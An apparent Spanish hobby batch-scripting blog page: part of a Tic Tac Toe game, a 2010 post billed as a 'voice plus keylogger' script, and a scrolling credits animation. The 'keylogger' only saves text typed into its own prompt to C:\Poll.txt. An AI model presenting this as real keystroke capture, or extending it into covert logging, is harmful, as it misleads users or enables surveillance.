Set "c.8="8 8" "8 9" "8 10" "9 8" "9 9" "9 10" "10 8" "10 9" "10 10""
Set "f.c.0=0 0" & Set "f.c.1=0 4" & Set "f.c.2=0 8"
Set "f.c.3=4 0" & Set "f.c.4=4 4" & Set "f.c.5=4 8"
Set "f.c.6=8 0" & Set "f.c.7=8 4" & Set "f.c.8=8 8"
Set /a "computer=ties=player=0"
:Sprites
Set "vLine=\219\n\219\n\219"
Set "hLine=\219\219\219\219\219\219\219\219\219\219\219"
Set "eBox=\219\219\219\n\219\219\219\n\219\219\219"
Set "xBox=\219 \219\n \219\n\219 \219"
Set "oBox=\219\219\219\n\219 \219\n\219\219\219"
Set "vLine.Color=F" & Set "hLine.Color=F" & Set "eBox.Color=0" 
Set "xBox.Color=B" & Set "oBox.Color=A"
:Main
Title Tic Tac Toe 2
Echo.Tic Tac Toe 2
Echo...............................
Echo.Play with Mouse.
Echo.For Quit Press Ctrl+C
Echo.Clic for Continue ...
Mouse > Nul 2>&1
Call :BMenu
Goto :Eof
:BMenu
Cls
Set /a "b=1"
:Play
If !b! Equ 1 (Call :BComputr) Else Call :BPlayer
Echo.
Echo. Clic for Continue ...
Mouse.exe > nul
Set /a "b*=-1"
Goto :Play
:IsCorner
For %%+ in (%corners%) Do If %~1 Equ %%+ Exit /b 1
Exit /b 0
:IsEdge
For %%+ in (%edges%) Do If %~1 Equ %%+ Exit /b 1
Exit /b 0
:IsCenter
For %%+ in (%center%) Do If %~1 Equ %%+ Exit /b 1
Exit /b 0
:BGame
For /L %%i in (0,1,8) Do Set /a "b[%%i]=0"
Set /a "Over=0"
:DrawBoard
Cls
For %%a in ("3 0" "7 0") Do Call :PutSprite hLine %%~a
For %%a in ("0 3" "4 3" "8 3" "0 7" "4 7" "8 7"
) Do Call :PutSprite vLine %%~a
Graphs.exe Locate 14 0
Echo.  Computer     Ties       Player
Echo.     !computer!          !ties!          !player!
Goto :Eof
:PutSprite
Graphs.exe -r PrintSprite %~2 %~3 !%~1.Color! "!%~1!"
Goto :Eof
:Winner
For %%+ in (%wp%) Do ( Call :_WinnerL %%~+
If !ErrorLevel! Neq 0 Exit /b !ErrorLevel!)
Exit /b 0
:_WinnerL
If !b[%~1]! Neq 0 (
If !b[%~1]! Equ !b[%~2]! If !b[%~3]! Equ !b[%~1]! Exit /b !b[%~1]!)
Exit /b 0
:Player
If !Over! Equ 1 Exit /b -1
Set /a "k=-1"
Set "cas="
For /f "tokens=1,2,3" %%a in ('Mouse.exe 2^>Nul') Do (
Set "cas=%%b %%c"
Set /a "clic=%%a")
If !clic! Neq 1 Goto :Player
For /L %%# in (0,1,8) Do For %%a in (!c.%%#!) Do (
If "%%~a" Equ "!cas!" Set /a "k=%%#")
If !k! Equ -1 Goto :Player
If !b[%k%]! Equ 0 (Call :UpdatePos %k% %~1
Exit /b %k%)
Goto :Player
:WinBlock
If !Over! Equ 1 Exit /b -1
If %~1 Equ 1 (Set /a "_win_value=2,_lost_value=-2"
) Else Set /a "_win_value=-2,_lost_value=2"
Call :_WinBloc %~1 %_win_value%
If !wb_return! Neq -1 (Set /a "Over=1"
) Else Call :_WinBloc %~1 %_lost_value%
Exit /b !wb_return!
:_WinBloc
Set /a "wb_return=-1"
For %%+ in (%wp%) Do (Call :_SumLine %%~+ %~2
If ErrorLevel 1 (For %%- in (%%~+) Do (If !b[%%-]! Equ 0 (
Call :UpdatePos %%- %~1
Set /a "wb_return=%%-"
Goto :_WinBloE))))
:_WinBloE
Goto :Eof
:_SumLine
Set /a "_sum_line=!b[%~1]!+!b[%~2]!+!b[%~3]!"
If !_sum_line! Equ %~4 Exit /b 1
Exit /b 0
:FullBoard
For /L %%i in (0,1,8) Do If !b[%%i]! Equ 0 Exit /b 0
Exit /b 1
:RUpdatePos
Set "av="
Set /a "cav=0"
For %%+ in (!%~1!) Do If !b[%%+]! Equ 0 (Set "av=!av! %%+"
Set /a "cav+=1")
If !cav! Equ 0 Exit /b -1
Set /a "rp=%random% %% !cav!+1"
For /f "tokens=%rp%" %%+ in ("!av!") Do Set /a "rp=%%+"
Call :UpdatePos !rp! %~2
Exit /b !ErrorLevel!
:UpdatePos
Set /a "b[%~1]=%~2"
Call :PutSprite eBox !f.c.%~1!
If %~2 Equ 1 Call :PutSprite xBox !f.c.%~1!
If %~2 Equ -1 Call :PutSprite oBox !f.c.%~1!
Set /a "us=0"
Call :Winner
Set "w=!ErrorLevel!"
If !w! Equ 1 (If !b! Equ 1 (Set /a "computer+=1,us=1"
) Else Set /a "player+=1,us=1"
) Else If !w! Equ -1 (If !b! Equ 1 (Set /a "player+=1,us=1"
) Else Set /a "computer+=1,us=1"
) Else (Call :FullBoard
If ErrorLevel 1 Set /a "ties+=1,us=1")
If !us! Equ 1 (Graphs.exe Locate 15 0
Echo.     !computer!          !ties!          !player!)
Exit /b %~1
:BPlayer
Call :BGame
Call :Player 1
Set /a "maxf=!ErrorLevel!"
Call :IsCenter %maxf%
If ErrorLevel 1 (Call :RUpdatePos corners -1
For /l %%. in (1,1,4) Do (Call :Player 1
Call :WinBlock -1
If Not ErrorLevel 0 If !Over! Equ 0 (
Call :RUpdatePos corners -1
If Not ErrorLevel 0 Call :RUpdatePos all -1))) Else (
Call :UpdatePos 4 -1
Call :Player 1
Set /a "maxc=0,maxe=0,maxcd=0,c1e1oc2nd=0"
For /L %%+ in (0,1,8) Do If !b[%%+]! Equ 1 (Call :IsEdge %%+
If ErrorLevel 1 (Set /a "maxe+=1") Else (Call :IsCorner %%+
If ErrorLevel 1 (Set /a "maxc+=1"
For /f %%- in ("b[!c.d.%%+!]") Do (If !%%-! Equ 1 Set /a "maxcd=1"
))))
If !maxc! Equ 1 (Set /a "c1e1oc2nd=1"
) Else If !maxc! Equ 2 If !maxcd! Equ 0 Set /a "c1e1oc2nd=1"
If !c1e1oc2nd! Equ 1 (Call :WinBlock -1
If ErrorLevel 0 (Call :Player 1
Call :WinBlock -1
Set /a _res=!ErrorLevel!
If !Over! Equ 0 (If !_res! Neq -1 (Call :Player 1
Call :WinBlock -1
If !Over! Equ 0 (Call :RUpdatePos all -1
Call :Player 1)
) Else (Call :RUpdatePos edges -1
Call :Player 1
Call :WinBlock -1
If !Over! Equ 0 Call :Player 1) )) Else (
For %%+ in (%corners%) Do If !b[%%+]! Equ 1 (
Call :UpdatePos !c.d.%%+! -1)
Call :Player 1
Call :WinBlock -1
If ErrorLevel 0 (Call :Player 1
Call :WinBlock -1
If Not ErrorLevel 0 (Call :RUpdatePos all -1
Call :Player 1) Else If !Over! Equ 0 (Call :Player 1
Call :RUpdatePos all -1)
) Else (Call :RUpdatePos corners -1
Call :Player 1
Call :WinBlock -1
If !Over! Equ 0 Call :Player 1))) Else If !maxc! Equ 2 (
Call :RUpdatePos edges -1
Call :Player 1
For /l %%+ in (1,1,2) Do (Call :WinBlock -1
If !Over! Equ 0 Call :Player 1)) Else (
Set /a "eif=0"
For %%+ in (%edges%) Do (
If !b[%%+]! Equ 1 For /f %%- in ("b[!e.f.%%+!]") Do (
If !%%-! Equ 1 Set /a "eif=1"))
If !eif! Equ 1 (Call :RUpdatePos edges -1
Call :Player 1
Call :WinBlock -1
If Not ErrorLevel 0 (Set /a "p=0"
For %%+ in (%corners%) Do If !b[%%+]! Equ 0 (
For /f "tokens=1,2" %%a in (
"b[!c.s.%%+.a!] b[!c.s.%%+.b!]") Do (
If !p! Equ 0 If !%%a! Equ -1 (Call :UpdatePos %%+ -1
Set /a "p=1") Else If !p! Equ 0 If !%%b! Equ -1 (
Call :UpdatePos %%+ -1
Set /a "p=1")))
Call :Player 1
Call :WinBlock -1)) Else (
For %%+ in (%corners%) Do If !b[%%+]! Equ 0 (
For /f "tokens=1,2" %%a in (
"b[!c.s.%%+.a!] b[!c.s.%%+.b!]") Do (
If !%%a! Equ 1 If !%%b! Equ 1 Call :UpdatePos %%+ -1
))
Call :Player 1
Call :WinBlock -1
If !Over! Equ 0 (Call :RUpdatePos corners -1
Call :Player 1
Call :WinBlock -1
If !Over! Equ 0 Call :Player 1))))
Exit /b
:BComputr
Call :BGame
Call :RUpdatePos corners 1
Set /a "maxf=!ErrorLevel!"
Call :Player -1
Set /a "minf=!ErrorLevel!"
Call :IsCenter %minf%
If ErrorLevel 1 (Call :UpdatePos !c.d.%maxf%! 1
Call :Player -1
Set /a "minf=!ErrorLevel!"
Call :IsCorner !minf!
If ErrorLevel 1 (
For %%+ in (%corners%) Do If !b[%%+]! Equ 0 Call :UpdatePos %%+ 1
Call :Player -1
Call :WinBlock 1) Else (For /L %%+ in (1,1,2) Do (If !Over! Equ 0 (
Call :WinBlock 1
Call :Player -1))
If !Over! Equ 0 Call :WinBlock 1)
Goto :Eof)
Call :IsCorner %minf%
If ErrorLevel 1 (Call :RUpdatePos corners 1
Call :Player -1
Call :WinBlock 1
If !Over! Equ 0 (
For %%+ in (%corners%) Do If !b[%%+]! Equ 0 Call :UpdatePos %%+ 1
Call :Player -1
Call :WinBlock 1)) Else (
Call :UpdatePos 4 1
Call :Player -1
Call :WinBlock 1
If Not ErrorLevel 0 (For %%+ in (%corners%) Do If !b[%%+]! Equ 0 (
For /f "tokens=1,2" %%a in ("b[!c.s.%%+.a!] b[!c.s.%%+.b!]") Do (
If !%%a! Equ 0 If !%%b! Equ 0 Call :UpdatePos %%+ 1)))
Call :Player -1
Call :WinBlock 1)
Goto :Eof

miércoles, 15 de septiembre de 2010

Voz + Keylogger en Batch

Así como lo ven,yo no lo creía pero combinando código y sentencias he logrado crear un programita
en batch que te lea lo que escriba y a la vez te registre las teclas que presiones es decir:
(Escribe tu texto+presiona Enter)=Lee lo que escribiste+Log de lo que escribiste en la unidad de almacenamiento deseada.

Bonita formula eh? No lo creo!!! pues nada aquí les traigo el código y espero que lo compartan con mas usuarios.No es necesario poner los guiones.
------------------------------------------------------------------


@echo off
color 35
title Programa que lee y registra lo que escribes (Voz+Keylogger)
rem hacer lector de voz
:bucle
set /p texto= Escribe dos veces lo que quieres escuchar y despues presiona Enter:
rem el programa lee la segunda palabra escrita sino el keylogger no funciona, pero funciona la voz
set /p key=
echo dim mouth>"reproducir.vbs
rem puedes cambiar el titulo del vbs por el que quieras
echo set mouth= createobject ("sapi.spvoice")>>reproducir.vbs
echo mouth.speak "%texto%">>"reproducir.vbs"
wscript.exe reproducir.vbs
rem este es el keylogger, puedes ponerles mas unidades si quieres.
echo %key%>>C:\Poll.txt
goto bucle

Eso era todo, espero que lo disfruten y pongan sus comentarios!!!!!!!!!!!

jueves, 9 de septiembre de 2010

Creditos en Batch

He aqui un extenso codigo que sirven como si fuesen creditos, lo pueden editar a su antojo.

echo off
title Creditos en batch
mode con cols=71 lines=28 &color 1A
set LINEA=0
set LINEA_TEXTO_1=No te asuste por este codigo
set LINEA_TEXTO_2=Si quieres puedes editarlo a tu manera
set LINEA_TEXTO_3=Aqui aceptamos toda clase de comentarios
set LINEA_TEXTO_4=No te preocupes el conocimiento es eterno
set LINEA_TEXTO_5=Grasias señor
set LINEA_TEXTO_6=En verdad bill gates no me cae muy bien
set LINEA_TEXTO_7=comparte tus conocimientos
set LINEA_TEXTO_8=sonriele a la vida
set LINEA_TEXTO_9=No al aborto
set LINEA_TEXTO_10=thank you for loving me by bon jovi
set LINEA_TEXTO_11=El conocimiento debe ser gratis
set LINEA_TEXTO_12=No es que soy filantropo o algo asi
set LINEA_TEXTO_13=Te amo abigail
set LINEA_TEXTO_14=conocimiento gratis para todos!!!!
set LINEA_TEXTO_15=todosobreprogramacionbatch.blogspot.com

:: ----------------------------------------------------------------------------------------------------------------------

:INICIO
set /a LINEA = LINEA + 1

cls
echo.
echo.
echo ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
echo. Codificado para Batch
echo ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
if %LINEA%==1 (
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
call :PING
)
if %LINEA%==2 (
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo %LINEA_TEXTO_1%
call :PING
)
if %LINEA%==3 (
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo %LINEA_TEXTO_1%
echo.
call :PING
)
if %LINEA%==4 (
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo %LINEA_TEXTO_1%
echo.
echo %LINEA_TEXTO_2%
call :PING
)
if %LINEA%==5 (
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo %LINEA_TEXTO_1%
echo.
echo %LINEA_TEXTO_2%
echo.
call :PING
)
if %LINEA%==6 (
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo %LINEA_TEXTO_1%
echo.
echo %LINEA_TEXTO_2%
echo.
echo %LINEA_TEXTO_3%
call :PING
)
if %LINEA%==7 (
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo %LINEA_TEXTO_1%
echo.
echo %LINEA_TEXTO_2%
echo.
echo %LINEA_TEXTO_3%
echo.
call :PING
)
if %LINEA%==8 (
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo %LINEA_TEXTO_1%
echo.
echo %LINEA_TEXTO_2%
echo.
echo %LINEA_TEXTO_3%
echo.
echo %LINEA_TEXTO_4%
call :PING
)
if %LINEA%==9 (
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo %LINEA_TEXTO_1%
echo.
echo %LINEA_TEXTO_2%
echo.
echo %LINEA_TEXTO_3%
echo.
echo %LINEA_TEXTO_4%
echo.
call :PING
)
if %LINEA%==10 (
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo %LINEA_TEXTO_1%
echo.
echo %LINEA_TEXTO_2%
echo.
echo %LINEA_TEXTO_3%
echo.
echo %LINEA_TEXTO_4%
echo.
echo %LINEA_TEXTO_5%
call :PING
)
if %LINEA%==11 (
echo.
echo.
echo.
echo.
echo.
echo.
echo %LINEA_TEXTO_1%
echo.
echo %LINEA_TEXTO_2%
echo.
echo %LINEA_TEXTO_3%
echo.
echo %LINEA_TEXTO_4%
echo.
echo %LINEA_TEXTO_5%
echo.
call :PING
)
if %LINEA%==12 (
echo.
echo.
echo.
echo.
echo.
echo %LINEA_TEXTO_1%
echo.
echo %LINEA_TEXTO_2%
echo.
echo %LINEA_TEXTO_3%
echo.
echo %LINEA_TEXTO_4%
echo.
echo %LINEA_TEXTO_5%
echo.
echo %LINEA_TEXTO_6%
call :PING
)
if %LINEA%==13 (
echo.
echo.
echo.
echo.
echo %LINEA_TEXTO_1%
echo.
echo %LINEA_TEXTO_2%
echo.
echo %LINEA_TEXTO_3%
echo.
echo %LINEA_TEXTO_4%
echo.
echo %LINEA_TEXTO_5%
echo.
echo %LINEA_TEXTO_6%
echo.
call :PING
)
if %LINEA%==14 (
echo.
echo.
echo.
echo %LINEA_TEXTO_1%
echo.
echo %LINEA_TEXTO_2%
echo.
echo %LINEA_TEXTO_3%
echo.
echo %LINEA_TEXTO_4%
echo.
echo %LINEA_TEXTO_5%
echo.
echo %LINEA_TEXTO_6%
echo.
echo %LINEA_TEXTO_7%
call :PING
)
if %LINEA%==15 (
echo.
echo.
echo %LINEA_TEXTO_1%
echo.
echo %LINEA_TEXTO_2%
echo.
echo %LINEA_TEXTO_3%
echo.
echo %LINEA_TEXTO_4%
echo.
echo %LINEA_TEXTO_5%
echo.
echo %LINEA_TEXTO_6%
echo.
echo %LINEA_TEXTO_7%
echo.
call :PING
)
if %LINEA%==16 (
echo.
echo %LINEA_TEXTO_1%
echo.
echo %LINEA_TEXTO_2%
echo.
echo %LINEA_TEXTO_3%
echo.
echo %LINEA_TEXTO_4%
echo.
echo %LINEA_TEXTO_5%
echo.
echo %LINEA_TEXTO_6%
echo.
echo %LINEA_TEXTO_7%
echo.
echo %LINEA_TEXTO_8%
call :PING
)
if %LINEA%==17 (
echo %LINEA_TEXTO_1%
echo.
echo %LINEA_TEXTO_2%
echo.
echo %LINEA_TEXTO_3%
echo.
echo %LINEA_TEXTO_4%
echo.
echo %LINEA_TEXTO_5%
echo.
echo %LINEA_TEXTO_6%
echo.
echo %LINEA_TEXTO_7%
echo.
echo %LINEA_TEXTO_8%
echo.
call :PING
)
if %LINEA%==18 (
echo.
echo %LINEA_TEXTO_2%
echo.
echo %LINEA_TEXTO_3%
echo.
echo %LINEA_TEXTO_4%
echo.
echo %LINEA_TEXTO_5%
echo.
echo %LINEA_TEXTO_6%
echo.
echo %LINEA_TEXTO_7%
echo.
echo %LINEA_TEXTO_8%
echo.
echo %LINEA_TEXTO_9%
call :PING
)
if %LINEA%==19 (
echo %LINEA_TEXTO_2%
echo.
echo %LINEA_TEXTO_3%
echo.
echo %LINEA_TEXTO_4%
echo.
echo %LINEA_TEXTO_5%
echo.
echo %LINEA_TEXTO_6%
echo.
echo %LINEA_TEXTO_7%
echo.
echo %LINEA_TEXTO_8%
echo.
echo %LINEA_TEXTO_9%
echo.
call :PING
)
if %LINEA%==20 (
echo.
echo %LINEA_TEXTO_3%
echo.
echo %LINEA_TEXTO_4%
echo.
echo %LINEA_TEXTO_5%
echo.
echo %LINEA_TEXTO_6%
echo.
echo %LINEA_TEXTO_7%
echo.
echo %LINEA_TEXTO_8%
echo.
echo %LINEA_TEXTO_9%
echo.
echo %LINEA_TEXTO_10%
call :PING
)
if %LINEA%==21 (
echo %LINEA_TEXTO_3%
echo.
echo %LINEA_TEXTO_4%
echo.
echo %LINEA_TEXTO_5%
echo.
echo %LINEA_TEXTO_6%
echo.
echo %LINEA_TEXTO_7%
echo.
echo %LINEA_TEXTO_8%
echo.
echo %LINEA_TEXTO_9%
echo.
echo %LINEA_TEXTO_10%
echo.
call :PING
)
if %LINEA%==22 (
echo.
echo %LINEA_TEXTO_4%
echo.
echo %LINEA_TEXTO_5%
echo.
echo %LINEA_TEXTO_6%
echo.
echo %LINEA_TEXTO_7%
echo.
echo %LINEA_TEXTO_8%
echo.
echo %LINEA_TEXTO_9%
echo.
echo %LINEA_TEXTO_10%
echo.
echo %LINEA_TEXTO_11%
call :PING
)
if %LINEA%==23 (
echo %LINEA_TEXTO_4%
echo.
echo %LINEA_TEXTO_5%
echo.
echo %LINEA_TEXTO_6%
echo.
echo %LINEA_TEXTO_7%
echo.
echo %LINEA_TEXTO_8%
echo.
echo %LINEA_TEXTO_9%
echo.
echo %LINEA_TEXTO_10%
echo.
echo %LINEA_TEXTO_11%
echo.
call :PING
)
if %LINEA%==24 (
echo.
echo %LINEA_TEXTO_5%
echo.
echo %LINEA_TEXTO_6%
echo.
echo %LINEA_TEXTO_7%
echo.
echo %LINEA_TEXTO_8%
echo.
echo %LINEA_TEXTO_9%
echo.
echo %LINEA_TEXTO_10%
echo.
echo %LINEA_TEXTO_11%
echo.
echo %LINEA_TEXTO_12%
call :PING
)
if %LINEA%==25 (
echo %LINEA_TEXTO_5%
echo.
echo %LINEA_TEXTO_6%
echo.
echo %LINEA_TEXTO_7%
echo.
echo %LINEA_TEXTO_8%
echo.
echo %LINEA_TEXTO_9%
echo.
echo %LINEA_TEXTO_10%
echo.
echo %LINEA_TEXTO_11%
echo.
echo %LINEA_TEXTO_12%
echo.
call :PING
)
if %LINEA%==26 (
echo.
echo %LINEA_TEXTO_6%
echo.
echo %LINEA_TEXTO_7%
echo.
echo %LINEA_TEXTO_8%
echo.
echo %LINEA_TEXTO_9%
echo.
echo %LINEA_TEXTO_10%
echo.
echo %LINEA_TEXTO_11%
echo.
echo %LINEA_TEXTO_12%
echo.
echo %LINEA_TEXTO_13%
call :PING
)
if %LINEA%==27 (
echo %LINEA_TEXTO_6%
echo.
echo %LINEA_TEXTO_7%
echo.
echo %LINEA_TEXTO_8%
echo.
echo %LINEA_TEXTO_9%
echo.
echo %LINEA_TEXTO_10%
echo.
echo %LINEA_TEXTO_11%
echo.
echo %LINEA_TEXTO_12%
echo.
echo %LINEA_TEXTO_13%
echo.
call :PING
)
if %LINEA%==28 (
echo.
echo %LINEA_TEXTO_7%
echo.
echo %LINEA_TEXTO_8%
echo.
echo %LINEA_TEXTO_9%
echo.
echo %LINEA_TEXTO_10%
echo.
echo %LINEA_TEXTO_11%
echo.
echo %LINEA_TEXTO_12%
echo.
echo %LINEA_TEXTO_13%
echo.
echo %LINEA_TEXTO_14%
call :PING
)
if %LINEA%==29 (
echo %LINEA_TEXTO_7%
echo.
echo %LINEA_TEXTO_8%
echo.
echo %LINEA_TEXTO_9%
echo.
echo %LINEA_TEXTO_10%
echo.
echo %LINEA_TEXTO_11%
echo.
echo %LINEA_TEXTO_12%
echo.
echo %LINEA_TEXTO_13%
echo.
echo %LINEA_TEXTO_14%
echo.
call :PING
)
if %LINEA%==30 (
echo.
echo %LINEA_TEXTO_8%
echo.
echo %LINEA_TEXTO_9%
echo.
echo %LINEA_TEXTO_10%
echo.
echo %LINEA_TEXTO_11%
echo.
echo %LINEA_TEXTO_12%
echo.
echo %LINEA_TEXTO_13%
echo.
echo %LINEA_TEXTO_14%
echo.
echo.
call :PING
)
if %LINEA%==31 (
echo %LINEA_TEXTO_8%
echo.
echo %LINEA_TEXTO_9%
echo.
echo %LINEA_TEXTO_10%
echo.
echo %LINEA_TEXTO_11%
echo.
echo %LINEA_TEXTO_12%
echo.
echo %LINEA_TEXTO_13%
echo.
echo %LINEA_TEXTO_14%
echo.
echo.
echo.
call :PING
)
if %LINEA%==32 (
echo.
echo %LINEA_TEXTO_9%
echo.
echo %LINEA_TEXTO_10%
echo.
echo %LINEA_TEXTO_11%
echo.
echo %LINEA_TEXTO_12%
echo.
echo %LINEA_TEXTO_13%
echo.
echo %LINEA_TEXTO_14%
echo.
echo.
echo.
echo %LINEA_TEXTO_15%
call :PING
)
if %LINEA%==33 (
echo %LINEA_TEXTO_9%
echo.
echo %LINEA_TEXTO_10%
echo.
echo %LINEA_TEXTO_11%
echo.
echo %LINEA_TEXTO_12%
echo.
echo %LINEA_TEXTO_13%
echo.
echo %LINEA_TEXTO_14%
echo.
echo.
echo.
echo %LINEA_TEXTO_15%
echo.
call :PING
)
if %LINEA%==34 (
echo.
echo %LINEA_TEXTO_10%
echo.
echo %LINEA_TEXTO_11%
echo.
echo %LINEA_TEXTO_12%
echo.
echo %LINEA_TEXTO_13%
echo.
echo %LINEA_TEXTO_14%
echo.
echo.
echo.
echo %LINEA_TEXTO_15%
echo.
echo.
call :PING
)
if %LINEA%==35 (
echo %LINEA_TEXTO_10%
echo.
echo %LINEA_TEXTO_11%
echo.
echo %LINEA_TEXTO_12%
echo.
echo %LINEA_TEXTO_13%
echo.
echo %LINEA_TEXTO_14%
echo.
echo.
echo.
echo %LINEA_TEXTO_15%
echo.
echo.
echo.
call :PING
)
if %LINEA%==36 (
echo.
echo %LINEA_TEXTO_11%
echo.
echo %LINEA_TEXTO_12%
echo.
echo %LINEA_TEXTO_13%
echo.
echo %LINEA_TEXTO_14%
echo.
echo.
echo.
echo %LINEA_TEXTO_15%
echo.
echo.
echo.
echo.
call :PING
)
if %LINEA%==37 (
echo %LINEA_TEXTO_11%
echo.
echo %LINEA_TEXTO_12%
echo.
echo %LINEA_TEXTO_13%
echo.
echo %LINEA_TEXTO_14%
echo.
echo.
echo.
echo %LINEA_TEXTO_15%
echo.
echo.
echo.
echo.
echo.
call :PING
)
if %LINEA%==38 (
echo.
echo %LINEA_TEXTO_12%
echo.
echo %LINEA_TEXTO_13%
echo.
echo %LINEA_TEXTO_14%
echo.
echo.
echo.
echo %LINEA_TEXTO_15%
echo.
echo.
echo.
echo.
echo.
echo.
call :PING
)
if %LINEA%==39 (
echo %LINEA_TEXTO_12%
echo.
echo %LINEA_TEXTO_13%
echo.
echo %LINEA_TEXTO_14%
echo.
echo.
echo.
echo %LINEA_TEXTO_15%
echo.
echo.
echo.
echo.
echo.
echo.
echo.
call :PING
)
if %LINEA%==40 (
echo.
echo %LINEA_TEXTO_13%
echo.
echo %LINEA_TEXTO_14%
echo.
echo.
echo.
echo %LINEA_TEXTO_15%
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
call :PING
)
if %LINEA%==41 (
echo %LINEA_TEXTO_13%
echo.
echo %LINEA_TEXTO_14%
echo.
echo.
echo.
echo %LINEA_TEXTO_15%
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
call :PING
)
if %LINEA%==42 (
echo.
echo %LINEA_TEXTO_14%
echo.
echo.
echo.
echo %LINEA_TEXTO_15%
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
call :PING
)
if %LINEA%==43 (
echo %LINEA_TEXTO_14%
echo.
echo.
echo.
echo %LINEA_TEXTO_15%
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
call :PING
)
if %LINEA%==44 (
echo.
echo.
echo.
echo %LINEA_TEXTO_15%
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
call :PING
)
if %LINEA%==45 (
echo.
echo.
echo %LINEA_TEXTO_15%
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
call :PING
)
if %LINEA%==46 (
echo.
echo %LINEA_TEXTO_15%
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
call :PING
)
if %LINEA%==47 (
echo %LINEA_TEXTO_15%
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
call :PING
)
if %LINEA%==48 (
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
call :PING
)

:PING
echo ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
echo. El mundo de la programacion Batch
echo ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ


@ping localhost -n 2 >nul
if %LINEA%==48 goto :menu
goto :INICIO

:menu
cls
echo.
echo.
echo.
echo Dios provee de conocimientos al necesitado!!!
echo.
pause>nul